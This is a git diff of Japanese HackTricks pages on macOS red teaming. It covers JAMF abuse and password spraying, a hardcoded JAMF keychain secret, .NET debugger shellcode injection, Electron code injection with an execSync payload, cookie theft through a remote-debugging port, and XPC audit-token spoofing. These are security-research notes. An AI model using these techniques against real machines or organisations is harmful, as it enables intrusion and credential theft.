* OS Xオペレーティングシステムに組み込まれたKEXTファイル。
|
||||
* OS Xオペレーティングシステムに組み込まれたKEXTファイル
|
||||
* `/Library/Extensions`
|
||||
* サードパーティのソフトウェアによってインストールされたKEXTファイル
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
管理プラットフォームへのアクセスのために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
管理プラットフォームにアクセスするために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
|
||||
MacOS環境でのレッドチーミングには、MDMの動作原理についての理解が非常に重要です:
|
||||
|
||||
|
@ -39,11 +39,11 @@ MDMは、プロファイルのインストール、クエリ、削除、アプ
|
|||
|
||||
### JAMF PROの乱用
|
||||
|
||||
JAMFは、**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの設定、デバイス証明書...)を実行できます。
|
||||
JAMFは、**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの設定、デバイスの証明書...)を実行できます。
|
||||
|
||||
#### JAMFの自己登録
|
||||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を要求**する場合があります。
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を入力するように求められる**場合があります。
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。
|
||||
|
||||
|
@ -51,12 +51,12 @@ JAMFは、**カスタムスクリプト**(システム管理者によって開
|
|||
|
||||
![](<../../.gitbook/assets/image (7) (1).png>)
|
||||
|
||||
#### JAMFデバイス認証
|
||||
#### JAMFデバイスの認証
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見当時は**共有**されていました。秘密は**`jk23ucnq91jfu9aj`**でした。\
|
||||
さらに、jamfは**LaunchDaemon**として**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**永続化**されます。
|
||||
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見当時は**共有**されていました。その秘密は**`jk23ucnq91jfu9aj`**でした。\
|
||||
さらに、jamfは**LaunchDaemon**として**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**永続化**します。
|
||||
|
||||
#### JAMFデバイスの乗っ取り
|
||||
|
||||
|
@ -154,10 +154,10 @@ MacOSのユーザーには3つのタイプがあります:
|
|||
* **ネットワークユーザー** - 一時的なActive Directoryユーザーで、認証するためにDCサーバーへの接続が必要です。
|
||||
* **モバイルユーザー** - ローカルのバックアップを持つActive Directoryユーザーで、資格情報とファイルが保存されます。
|
||||
|
||||
ユーザーとグループに関するローカル情報は、_ /var/db/dslocal/nodes/Default _フォルダに保存されています。\
|
||||
たとえば、ユーザー名が _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
|
||||
ユーザーとグループに関するローカル情報は、_ /var/db/dslocal/nodes/Default _フォルダに保存されます。\
|
||||
たとえば、_mark_というユーザーの情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、_admin_というグループの情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されます。
|
||||
|
||||
MacHoundはBloodhoundデータベースにHasSessionとAdminToのエッジに加えて、**3つの新しいエッジ**を追加します:
|
||||
MacHoundは、BloodhoundデータベースにHasSessionとAdminToのエッジに加えて、**3つの新しいエッジ**を追加します:
|
||||
|
||||
* **CanSSH** - ホストへのSSHが許可されているエンティティ
|
||||
* **CanVNC** - ホストへのVNCが許可されているエンティティ
|
||||
|
@ -187,7 +187,7 @@ dsconfigad -show
|
|||
|
||||
## キーチェーンへのアクセス
|
||||
|
||||
キーチェーンには、プロンプトを生成せずにアクセスできる場合に、赤チームの演習を進めるのに役立つ可能性のある機密情報が含まれています。
|
||||
キーチェーンには、プロンプトを生成せずにアクセスすると、赤チームの演習を進めるのに役立つ可能性のある機密情報が含まれています。
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -199,7 +199,7 @@ MacOS Red Teamingは、通常のWindows Red Teamingとは異なり、**MacOSは
|
|||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
|
||||
## その他の赤チームのテクニック
|
||||
## その他のRed Teamテクニック
|
||||
|
||||
### Safari
|
||||
|
||||
|
@ -220,8 +220,8 @@ Safariでファイルをダウンロードすると、それが「安全な」
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
|
|
|
@ -18,27 +18,27 @@
|
|||
|
||||
### 要件
|
||||
|
||||
明らかに、これは非常に強力なため、カーネル拡張機能をロードするのは**複雑**です。カーネル拡張機能がロードされるためには、次の要件を満たす必要があります。
|
||||
明らかに、これは非常に強力なため、カーネル拡張機能をロードするのは**複雑**です。カーネル拡張機能をロードするために満たす必要がある**要件**は次のとおりです:
|
||||
|
||||
* **リカバリーモード**に入るとき、カーネル拡張機能のロードが**許可される必要があります**。
|
||||
* **リカバリモードに入る**ときに、カーネル**拡張機能のロードが許可**される必要があります:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* カーネル拡張機能は、**カーネルコード署名証明書**で**署名されている必要があります**。これは**Apple**によってのみ**付与**されることができます。Appleは、会社とその必要性を詳細に審査します。
|
||||
* カーネル拡張機能は、**カーネルコード署名証明書**で**署名**されている必要があります。この証明書は**Apple**によってのみ**付与**されます。Appleは、会社とその必要性を詳細に審査します。
|
||||
* カーネル拡張機能はまた、**ノータリゼーション**を受ける必要があります。Appleはマルウェアをチェックすることができます。
|
||||
* その後、**root**ユーザーがカーネル拡張機能を**ロード**でき、パッケージ内のファイルは**rootに所属**する必要があります。
|
||||
* アップロードプロセス中、パッケージは**保護された非ルートの場所**に準備される必要があります:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`の許可が必要です)。
|
||||
* アップロードプロセス中、パッケージは**保護された非rootの場所**に準備する必要があります:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`の許可が必要です)。
|
||||
* 最後に、ロードしようとすると、ユーザーは[**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html)。承認された場合、コンピュータを**再起動**してロードする必要があります。
|
||||
|
||||
### ロードプロセス
|
||||
|
||||
Catalinaでは、次のようになります:**検証**プロセスは**ユーザーランド**で行われることに注意すると興味深いです。ただし、**`com.apple.private.security.kext-management`**の許可を持つアプリケーションのみがカーネルに拡張機能のロードを要求できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
Catalinaでは、次のようになります:興味深いことに、**検証**プロセスは**ユーザーランド**で行われます。ただし、**`com.apple.private.security.kext-management`**の許可を持つアプリケーションのみがカーネルに拡張機能のロードを要求できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
|
||||
1. **`kextutil`** CLIは、拡張機能のロードのための**検証**プロセスを**開始**します。
|
||||
* **Machサービス**を使用して**`kextd`**と通信します。
|
||||
2. **`kextd`**は、**署名**などのさまざまなチェックを行います。
|
||||
* **`syspolicyd`**と通信して、拡張機能を**ロード**できるかどうかを**確認**します。
|
||||
3. **`syspolicyd`**は、拡張機能が以前にロードされていない場合、**ユーザーにプロンプトを表示**します。
|
||||
3. **`syspolicyd`**は、拡張機能が以前にロードされていない場合、**ユーザーにプロンプト**を表示します。
|
||||
* **`syspolicyd`**は結果を**`kextd`**に報告します。
|
||||
4. **`kextd`**は最終的にカーネルに拡張機能を**ロードするように指示**できます。
|
||||
|
||||
|
@ -56,4 +56,4 @@ Catalinaでは、次のようになります:**検証**プロセスは**ユー
|
|||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックしてください。これは、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)です。
|
||||
* [**PEASSとHackTricksの公式スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/
|
||||
|
|
|
@ -21,7 +21,7 @@
|
|||
|
||||
したがって、ユーザーの**`$TMPDIR`**に移動すると、.Netアプリケーションをデバッグするために使用できる**デバッグ用のFIFO**を見つけることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
関数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を処理します。
|
||||
|
||||
|
@ -169,15 +169,15 @@ return true;
|
|||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
次に、実行をトリガーするためには、関数ポインタが上書きされる場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
|
||||
次に、実行をトリガーするためには、関数ポインタが格納されている場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
|
||||
|
||||
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、この参照をデリファレンスすることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、私たちの場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始することができます。
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、私たちの場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`がどこにあるか**を知ることができ、DFTの検索を開始することができます。
|
||||
|
||||
このアドレスを知ることで、関数ポインタを自分のシェルコードで上書きすることが可能です。
|
||||
このアドレスを知ることで、関数ポインタを私たちのシェルコードで上書きすることが可能です。
|
||||
|
||||
PowerShellにインジェクトするために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
|
||||
|
@ -191,7 +191,7 @@ PowerShellにインジェクトするために使用される完全なPOCコー
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
|
|
@ -58,18 +58,18 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
|||
```
|
||||
[https://hexed.it/](https://hexed.it/)でこのファイルをロードし、前の文字列を検索することができます。この文字列の後には、各ヒューズが無効または有効であることを示すASCIIの数字「0」または「1」が表示されます。ヒューズの値を変更するには、16進コード(`0x30`は`0`であり、`0x31`は`1`です)を変更します。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ただし、これらのバイトが変更された状態でアプリケーション内の**`Electron Framework`バイナリ**を上書きしようとすると、アプリが実行されなくなります。
|
||||
|
||||
## Electronアプリケーションへのコードの追加によるRCE
|
||||
|
||||
Electronアプリが使用している**外部のJS/HTMLファイル**が存在する場合、攻撃者はこれらのファイルにコードを注入し、その署名がチェックされずにアプリのコンテキストで任意のコードを実行することができます。
|
||||
Electronアプリが使用している**外部のJS/HTMLファイル**が存在する場合、攻撃者はこれらのファイルにコードを注入し、シグネチャがチェックされないため、アプリのコンテキストで任意のコードを実行することができます。
|
||||
|
||||
{% hint style="danger" %}
|
||||
ただし、現時点では2つの制限があります:
|
||||
|
||||
* アプリを変更するには**`kTCCServiceSystemPolicyAppBundles`**パーミッションが必要です。したがって、デフォルトではこれは不可能になりました。
|
||||
* アプリを変更するには、**`kTCCServiceSystemPolicyAppBundles`**権限が必要です。したがって、デフォルトではこれはもはや可能ではありません。
|
||||
* コンパイルされた**`asap`**ファイルには通常、ヒューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が有効になっています。
|
||||
|
||||
これにより、この攻撃経路はより複雑になります(または不可能になります)。
|
||||
|
@ -170,12 +170,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
もしfuse**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`のようなノードパラメータを**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、それも**無視**されます。これはfuse**`RunAsNode`**が無効になっている場合も同様です。
|
||||
もしfuse**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`のようなノードのパラメータを**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、それも**無視**されます。fuse**`RunAsNode`**が無効になっている場合も同様です。
|
||||
|
||||
ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することはできますが、前述のペイロードでは他のプロセスを実行することはできません。
|
||||
{% endhint %}
|
||||
|
||||
パラメータ**`--remote-debugging-port=9222`**を使用すると、Electronアプリからいくつかの情報を盗むことができます。例えば、**履歴**(GETコマンドを含む)やブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**JSONエンドポイント**が存在します)です。
|
||||
パラメータ**`--remote-debugging-port=9222`**を使用すると、Electronアプリから**履歴**(GETコマンドを含む)やブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**JSONエンドポイント**が存在する)などの情報を盗むことができます。
|
||||
|
||||
これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学ぶことができます。また、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や以下のようなシンプルなスクリプトを使用することもできます:
|
||||
```python
|
||||
|
|
|
@ -352,7 +352,7 @@ r8 = 0x1;
|
|||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 計算されたアドレスに関数を呼び出す
|
||||
// 計算されたアドレスに対して呼び出しを行う
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -376,12 +376,12 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
実際には、関数 **`0x100004000`** に移動すると、**`routine_descriptor`** 構造体の配列が見つかります。構造体の最初の要素は関数が実装されているアドレスであり、**構造体は0x28バイトを占めます**。したがって、0バイトから始まる各0x28バイトで8バイトを取得し、それが呼び出される**関数のアドレス**になります。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
実際には、関数 **`0x100004000`** に移動すると、**`routine_descriptor`** 構造体の配列が見つかります。構造体の最初の要素は関数が実装されているアドレスであり、**構造体は0x28バイトを取ります**。したがって、0バイトから始まる各0x28バイトで8バイトを取得し、それが呼び出される**関数のアドレス**になります。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このデータは、[**この Hopper スクリプトを使用して**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)抽出できます。
|
||||
|
||||
<details>
|
||||
|
|
|
@ -269,7 +269,7 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権限を取得します。ユーザーがすでにログインしている場合、これにより追加の認証がバイパスされる場合があります。
|
||||
|
||||
4. **'shared': 'true'**
|
||||
* このキーは認証なしで権限を付与するものではありません。代わりに、`true`に設定されている場合、権限が認証された後、複数のプロセス間で共有することができます。ただし、権限の最初の付与には認証が必要です。ただし、'authenticate-user': 'false'などの他のキーと組み合わせる場合は、認証が必要ありません。
|
||||
* このキーは認証なしで権限を付与するものではありません。代わりに、`true`に設定されている場合、権限が認証された後、複数のプロセス間で共有できることを意味します。ただし、権限の最初の付与には認証が必要です。ただし、'authenticate-user': 'false'などの他のキーと組み合わせる場合は、認証が必要ありません。
|
||||
|
||||
興味深い権限を取得するためには、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます。
|
||||
```bash
|
||||
|
@ -289,7 +289,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
もし、関数 **`[HelperTool checkAuthorization:command:]`** を見つけた場合、おそらくプロセスは以前に言及した認証のスキーマを使用しています:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この関数が `AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree` などの関数を呼び出している場合、[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) を使用しています。
|
||||
|
||||
|
@ -303,7 +303,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この場合、EvenBetterAuthorizationSample と同じものがあります、[**この行をチェックしてください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
この場合、EvenBetterAuthorizationSample と同じものがあります。[**この行をチェックしてください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
使用されているプロトコルの名前を知ることで、そのヘッダ定義を **ダンプ** することができます。
|
||||
```bash
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)に**PRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
**この技術は** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) **からコピーされました**
|
||||
**この技術は**[**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) **からコピーされました**
|
||||
|
||||
## Machメッセージの基本情報
|
||||
|
||||
|
@ -23,7 +23,7 @@ Machメッセージが何であるかわからない場合は、次のページ
|
|||
{% endcontent-ref %}
|
||||
|
||||
当面は、次のことを覚えておいてください:\
|
||||
Machメッセージは、machカーネルに組み込まれた**単一の受信者、複数の送信者の通信**チャネルである**machポート**を介して送信されます。**複数のプロセスがメッセージをmachポートに送信**できますが、いつでも**単一のプロセスがそれを読み取る**ことができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ、管理され、プロセスは整数しか見えず、それを使用してカーネルに使用するmachポートを示すことができます。
|
||||
Machメッセージは、machカーネルに組み込まれた**単一の受信者、複数の送信者の通信**チャネルである_machポート_を介して送信されます。**複数のプロセスがmachポートにメッセージを送信**できますが、いつでも**単一のプロセスがそれを読み取る**ことができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ、管理され、プロセスは整数しか見えず、それを使用してカーネルに使用するmachポートを示すことができます。
|
||||
|
||||
## XPC接続
|
||||
|
||||
|
@ -37,100 +37,100 @@ XPC接続の確立方法を知らない場合は、次を確認してくださ
|
|||
|
||||
あなたが知るべき興味深いことは、**XPCの抽象化は1対1の接続**であるが、**複数の送信者を持つことができる技術**に基づいているということです。
|
||||
|
||||
* Machポートは単一の受信者、**複数の送信者**です。
|
||||
* XPC接続の監査トークンは、**最後に受信したメッセージからコピーされた監査トークン**です。
|
||||
* Machポートは単一の受信者、_**複数の送信者**_です。
|
||||
* XPC接続の監査トークンは、_**最後に受信したメッセージからコピーされた監査トークン**_です。
|
||||
* XPC接続の監査トークンを取得することは、多くの**セキュリティチェック**にとって重要です。
|
||||
|
||||
前述の状況は有望に聞こえますが、問題が発生しないシナリオもあります:
|
||||
|
||||
* 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**まだ接続が確立されていません**。このポートへの追加のメッセージは、追加の接続要求として処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは、`-listener:shouldAcceptNewConnection:`内では監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証するXPC接続を探しています**。
|
||||
* XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラが完了する前に、次のメッセージのイベントハンドラが呼び出されます。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の(非応答!)メッセージによって上書きされることはありません**。
|
||||
* XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラが完了する前に、次のメッセージのイベントハンドラを呼び出す必要があります。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の(非応答!)メッセージによって上書きされることはありません**。
|
||||
|
||||
これに基づいて、2つの異なる方法が考えられます:
|
||||
|
||||
1. Variant1:
|
||||
* **Exploit**はサービス**A**とサービス**B**に**接続**します。
|
||||
* サービス**B**は、ユーザーができない**特権機能**をサービス**A**で呼び出すことができます。
|
||||
* サービス**A**は、**`xpc_connection_get_audit_token`**を呼び出しますが、**イベントハンドラ**内ではありません。
|
||||
* サービス**A**は、**イベントハンドラ**内ではない状態で**`xpc_connection_get_audit_token`**を呼び出します。
|
||||
* したがって、**異なるメッセージが監査トークンを上書き**する可能性があります。なぜなら、イベントハンドラの外部で非同期にディスパッチされるからです。
|
||||
